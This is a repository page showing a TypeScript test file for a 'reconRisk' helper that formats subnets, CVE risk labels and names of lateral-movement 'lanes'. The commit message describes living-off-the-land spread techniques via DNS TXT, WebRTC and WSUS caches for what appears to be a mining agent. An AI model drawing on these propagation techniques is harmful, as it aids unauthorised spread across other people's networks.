Files
AetherForge/server/web/src/help/reconRisk.test.ts
AetherForge 0be2de81a5
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Add dns_txt, webrtc_mesh, and wsus_cache_peer LOTL deploy tiers with Forge toggles.
Implements three new spread lanes following the do_peer pattern: DNS TXT mesh staging, WebRTC LAN seed manifest delivery, and WSUS SoftwareDistribution cousin handoff. Integrates tiers into onion chain, deploy-plan allowlist, Forge UI/docs, and tests.
2026-06-07 01:08:05 -07:00

43 lines
1.7 KiB
TypeScript

import { describe, expect, it } from 'vitest';
import { ipToSubnet, joinLaneLabel, riskFromVulnFindings } from './reconRisk';
describe('reconRisk', () => {
it('ipToSubnet derives /24 label', () => {
expect(ipToSubnet('10.0.1.42')).toBe('10.0.1.x');
expect(ipToSubnet('')).toBe('');
});
it('riskFromVulnFindings returns null when empty or all patched', () => {
expect(riskFromVulnFindings(undefined)).toBeNull();
expect(riskFromVulnFindings([{ cve_id: 'CVE-1', severity: 'critical', patched: true }])).toBeNull();
});
it('riskFromVulnFindings picks highest unpatched severity', () => {
const info = riskFromVulnFindings([
{ cve_id: 'CVE-LOW', severity: 'low', patched: false },
{ cve_id: 'CVE-HIGH', severity: 'high', patched: false, exploitable_in_fleet_context: true },
]);
expect(info?.level).toBe('high');
expect(info?.label).toBe('RISK HIGH');
expect(info?.count).toBe(2);
expect(info?.title).toContain('CVE-HIGH');
});
it('riskFromVulnFindings maps critical severity', () => {
const info = riskFromVulnFindings([{ cve_id: 'CVE-X', severity: 'critical', patched: false }]);
expect(info?.level).toBe('critical');
expect(info?.label).toBe('RISK CRIT');
});
it('joinLaneLabel formats known lanes', () => {
expect(joinLaneLabel('winrm')).toBe('WinRM');
expect(joinLaneLabel('spread_smb_unc')).toBe('SMB UNC');
expect(joinLaneLabel('do_peer')).toBe('DoSvc peer');
expect(joinLaneLabel('dns_txt')).toBe('DNS TXT');
expect(joinLaneLabel('webrtc_mesh')).toBe('WebRTC mesh');
expect(joinLaneLabel('wsus_cache_peer')).toBe('WSUS cache');
expect(joinLaneLabel('')).toBeNull();
expect(joinLaneLabel('custom_lane')).toBe('custom lane');
});
});